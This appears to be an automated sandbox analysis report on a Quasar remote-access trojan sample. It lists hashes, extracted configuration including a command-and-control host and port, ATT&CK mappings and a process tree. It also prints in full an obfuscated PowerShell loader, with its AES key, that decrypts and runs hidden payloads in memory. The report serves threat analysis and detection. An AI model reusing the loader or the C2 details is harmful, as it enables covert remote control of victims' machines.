quasar | eeabb046cfd98e9a3a1addec48ebc458739a8732de54a885273806c6d699cbe3

Analysis

max time kernel
211s
max time network
278s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
04/05/2024, 23:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BOTNET.exe
Size 1.5MB
Sample240504-21jeesee31
SHA256 eeabb046cfd98e9a3a1addec48ebc458739a8732de54a885273806c6d699cbe3
MD5 3f7cba8cce5c03a2c007d2316e356897
SHA1 310228e6d3f25e2a3e79b9a02eb937c3c3b3ff56
SHA512 90b92b8a71ad47ca3a497017ac1f97867c5b54ca3d11718fe03ff657c169c9bb913e2a31a0ebcef39269601215f09c6c5a5a058ef8c1de7a9877ee73a5ea0f26
SSDEEP 24576:hGyD5dhNcAPYZqxQbwbmUDXEDuPopYBR/7bEK0V5veFxZT4F9bieVIsj:fDXzlEDKTbH0yFqBieVIs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

paper-sitemap.gl.at.ply.gg:34451

Mutex

aac5ca78-08ee-466b-b76a-a222e6968dcb

Attributes

encryption_key
C6F8FC1FACDC33647F2C8892E17F3A76138E3780
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral3/memory/2152-18-0x000002726D650000-0x000002726D974000-memory.dmp	family_quasar

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	2152	powershell.exe
4	2152	powershell.exe
5	2152	powershell.exe
6	2152	powershell.exe
8	2152	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	BOTNET.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
400	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2152	powershell.exe
2152	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 4244	1096	BOTNET.exe	78
PID 1096 wrote to memory of 4244	1096	BOTNET.exe	78
PID 4244 wrote to memory of 2152	4244	cmd.exe	80
PID 4244 wrote to memory of 2152	4244	cmd.exe	80
PID 2152 wrote to memory of 2380	2152	powershell.exe	82
PID 2152 wrote to memory of 2380	2152	powershell.exe	82
PID 2380 wrote to memory of 1916	2380	cmd.exe	84
PID 2380 wrote to memory of 1916	2380	cmd.exe	84
PID 2380 wrote to memory of 400	2380	cmd.exe	85
PID 2380 wrote to memory of 400	2380	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\BOTNET.exe
"C:\Users\Admin\AppData\Local\Temp\BOTNET.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "Client-built.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JZRSzmkPDXR9xk48FH2ObphiIF6YvOLTfmpQ/y5EC1Y='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j5BjsjVTKjdvJkDCmYmzNQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iLfcx=New-Object System.IO.MemoryStream(,$param_var); $zFXcX=New-Object System.IO.MemoryStream; $QpHvq=New-Object System.IO.Compression.GZipStream($iLfcx, [IO.Compression.CompressionMode]::Decompress); $QpHvq.CopyTo($zFXcX); $QpHvq.Dispose(); $iLfcx.Dispose(); $zFXcX.Dispose(); $zFXcX.ToArray();}function execute_function($param_var,$param2_var){ $OEdCE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sShBM=$OEdCE.EntryPoint; $sShBM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat';$eYDZC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat').Split([Environment]::NewLine);foreach ($aXSCn in $eYDZC) { if ($aXSCn.StartsWith(':: ')) { $uzipA=$aXSCn.Substring(3); break; }}$payloads_var=[string[]]$uzipA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OlVYxF5Wce6Q.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1916
    - - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        5⤵
        Runs ping.exe
        
        PID:400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Client-built.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Client-built.bat
Size 1.8MB
SHA256 19934bc1e7a8c055f2d14c940f8a9a53e2bc14800103f3b54dfbc342c3904a6d
MD5 b840cf2348a3baeee518520f93655ac0
SHA1 0688b0912b1b0dab021dd2c97894328281bc0492
SHA512 175a67affc51c223ec8d487801092985d54d62fd5197cb0e27b43adc1a714959b898e5705806fb91a49acdac36726189520a6ce6f7ae38fd23e32b7d45ad86da
SSDEEP 24576:1w8Txlsp316oUELbwdcO3jPyPj3M9P093pmiior1obFlsHQAUyyBpf/b17haGD7h:1HtLeucKPyM+YQHoyy7bDpZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

OlVYxF5Wce6Q.bat

Path C:\Users\Admin\AppData\Local\Temp\OlVYxF5Wce6Q.bat
Size 220B
SHA256 9a0a51cb8b94bd336add2480c9cf5f5c6a199b9da247e49fa71cc04752448ff7
MD5 c1bbefcdd541e182f29332c3719ba7f4
SHA1 e085de7b4eaa5d5c1ea31495fad7dc05572098f3
SHA512 b17e5705a5ce23737c820bc331bc4a7281fa4b883fc47c70d06e7ccb74c6c7f57ff87754e269413001ed15ef542d4534a05272ea9c25e7b4ffde19e715fd5f05
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_fu1prbdu.yiy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fu1prbdu.yiy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/2152-17-0x000002726D4F0000-0x000002726D648000-memory.dmp

Download

memory/2152-19-0x000002726DF40000-0x000002726DF90000-memory.dmp

Download

memory/2152-14-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

Download

memory/2152-15-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

Download

memory/2152-16-0x000002726D280000-0x000002726D288000-memory.dmp

Download

memory/2152-12-0x000002726D210000-0x000002726D232000-memory.dmp

Download

memory/2152-18-0x000002726D650000-0x000002726D974000-memory.dmp

Download

memory/2152-13-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

Download

memory/2152-20-0x000002726E050000-0x000002726E102000-memory.dmp

Download

memory/2152-21-0x000002726E820000-0x000002726E9E2000-memory.dmp

Download

memory/2152-22-0x00007FFDBDEB0000-0x00007FFDBE972000-memory.dmp

Download

memory/2152-23-0x00007FFDBDEB3000-0x00007FFDBDEB5000-memory.dmp

Download

memory/2152-26-0x000002726DF90000-0x000002726DFA2000-memory.dmp

Download

memory/2152-27-0x000002726DFF0000-0x000002726E02C000-memory.dmp

Download

memory/2152-3-0x00007FFDBDEB3000-0x00007FFDBDEB5000-memory.dmp

Download